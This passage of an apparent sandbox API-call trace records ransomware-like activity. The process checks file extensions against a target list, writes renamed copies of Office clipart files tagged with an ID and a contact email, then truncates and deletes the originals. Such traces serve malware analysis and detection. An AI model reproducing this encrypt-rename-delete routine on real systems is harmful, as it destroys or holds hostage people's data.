lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.235] lstrlenW (lpString=".doc") returned 4 [0197.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString=".docx") returned 5 [0197.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.236] lstrlenW (lpString=".pdf") returned 4 [0197.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString=".xls") returned 4 [0197.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.236] lstrlenW (lpString=".xlsx") returned 5 [0197.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.236] lstrlenW (lpString=".ppt") returned 4 [0197.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.236] lstrlenW (lpString=".zip") returned 4 [0197.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.236] lstrlenW (lpString=".rar") returned 4 [0197.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString=".bz2") returned 4 [0197.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString=".7z") returned 3 [0197.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.236] lstrlenW (lpString=".dbf") returned 4 [0197.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.236] lstrlenW (lpString=".1cd") returned 4 [0197.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.236] lstrlenW (lpString=".jpg") returned 4 [0197.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.237] lstrlenW (lpString=".doc") returned 4 [0197.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString=".docx") returned 5 [0197.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.237] lstrlenW (lpString=".pdf") returned 4 [0197.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString=".xls") returned 4 [0197.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.237] lstrlenW (lpString=".xlsx") returned 5 [0197.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.237] lstrlenW (lpString=".ppt") returned 4 [0197.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.237] lstrlenW (lpString=".zip") returned 4 [0197.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.237] lstrlenW (lpString=".rar") returned 4 [0197.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString=".bz2") returned 4 [0197.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString=".7z") returned 3 [0197.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.237] lstrlenW (lpString=".dbf") returned 4 [0197.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.237] lstrlenW (lpString=".1cd") returned 4 [0197.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.237] lstrlenW (lpString=".jpg") returned 4 [0197.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.238] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.238] lstrlenW (lpString="HH02312_.WMF") returned 12 [0197.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.239] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4970) returned 1 [0197.239] CloseHandle (hObject=0x3f8) returned 1 [0197.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0197.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.240] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.240] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.241] GetLastError () returned 0x0 [0197.241] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x136a, lpOverlapped=0x0) returned 1 [0197.242] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1370, lpOverlapped=0x0) returned 1 [0197.243] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.243] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0197.243] SetEndOfFile (hFile=0x4d4) returned 1 [0197.244] CloseHandle (hObject=0x4d4) returned 1 [0197.244] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.244] SetEndOfFile (hFile=0x3f8) returned 1 [0197.246] CloseHandle (hObject=0x3f8) returned 1 [0197.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.247] lstrlenW (lpString=".doc") returned 4 [0197.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString=".docx") returned 5 [0197.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.248] lstrlenW (lpString=".pdf") returned 4 [0197.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString=".xls") returned 4 [0197.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.248] lstrlenW (lpString=".xlsx") returned 5 [0197.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.248] lstrlenW (lpString=".ppt") returned 4 [0197.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.248] lstrlenW (lpString=".zip") returned 4 [0197.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.248] lstrlenW (lpString=".rar") returned 4 [0197.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString=".bz2") returned 4 [0197.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString=".7z") returned 3 [0197.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.248] lstrlenW (lpString=".dbf") returned 4 [0197.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.248] lstrlenW (lpString=".1cd") returned 4 [0197.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString=".jpg") returned 4 [0197.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString=".doc") returned 4 [0197.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString=".docx") returned 5 [0197.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.249] lstrlenW (lpString=".pdf") returned 4 [0197.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString=".xls") returned 4 [0197.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.249] lstrlenW (lpString=".xlsx") returned 5 [0197.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.249] lstrlenW (lpString=".ppt") returned 4 [0197.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString=".zip") returned 4 [0197.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.249] lstrlenW (lpString=".rar") returned 4 [0197.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString=".bz2") returned 4 [0197.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString=".7z") returned 3 [0197.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString=".dbf") returned 4 [0197.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.249] lstrlenW (lpString=".1cd") returned 4 [0197.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0197.250] lstrlenW (lpString=".jpg") returned 4 [0197.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.250] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.250] lstrlenW (lpString="HH02313_.WMF") returned 12 [0197.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.250] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3082) returned 1 [0197.251] CloseHandle (hObject=0x3f8) returned 1 [0197.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0197.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.251] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.251] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.252] GetLastError () returned 0x0 [0197.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xc0a, lpOverlapped=0x0) returned 1 [0197.254] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xc10, lpOverlapped=0x0) returned 1 [0197.255] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.255] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0197.255] SetEndOfFile (hFile=0x4d4) returned 1 [0197.255] CloseHandle (hObject=0x4d4) returned 1 [0197.255] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.255] SetEndOfFile (hFile=0x3f8) returned 1 [0197.258] CloseHandle (hObject=0x3f8) returned 1 [0197.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.259] lstrlenW (lpString=".doc") returned 4 [0197.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".docx") returned 5 [0197.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.259] lstrlenW (lpString=".pdf") returned 4 [0197.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".xls") returned 4 [0197.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.260] lstrlenW (lpString=".xlsx") returned 5 [0197.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.260] lstrlenW (lpString=".ppt") returned 4 [0197.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString=".zip") returned 4 [0197.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.260] lstrlenW (lpString=".rar") returned 4 [0197.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".bz2") returned 4 [0197.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".7z") returned 3 [0197.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString=".dbf") returned 4 [0197.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString=".1cd") returned 4 [0197.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString=".jpg") returned 4 [0197.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.260] lstrlenW (lpString=".doc") returned 4 [0197.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString=".docx") returned 5 [0197.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.526] lstrlenW (lpString=".pdf") returned 4 [0197.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString=".xls") returned 4 [0197.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.526] lstrlenW (lpString=".xlsx") returned 5 [0197.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.526] lstrlenW (lpString=".ppt") returned 4 [0197.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.526] lstrlenW (lpString=".zip") returned 4 [0197.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.526] lstrlenW (lpString=".rar") returned 4 [0197.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString=".bz2") returned 4 [0197.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString=".7z") returned 3 [0197.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.526] lstrlenW (lpString=".dbf") returned 4 [0197.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.526] lstrlenW (lpString=".1cd") returned 4 [0197.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0197.526] lstrlenW (lpString=".jpg") returned 4 [0197.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.527] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.527] lstrlenW (lpString="HM00426_.WMF") returned 12 [0197.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.234] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=68776) returned 1 [0198.235] CloseHandle (hObject=0x548) returned 1 [0198.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0198.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.537] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.537] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0198.538] GetLastError () returned 0x0 [0198.538] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0198.542] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0198.544] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.544] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0198.544] SetEndOfFile (hFile=0x534) returned 1 [0198.545] CloseHandle (hObject=0x534) returned 1 [0198.545] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.545] SetEndOfFile (hFile=0x3f8) returned 1 [0198.549] CloseHandle (hObject=0x3f8) returned 1 [0198.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.551] lstrlenW (lpString=".doc") returned 4 [0198.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.551] lstrlenW (lpString=".docx") returned 5 [0198.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 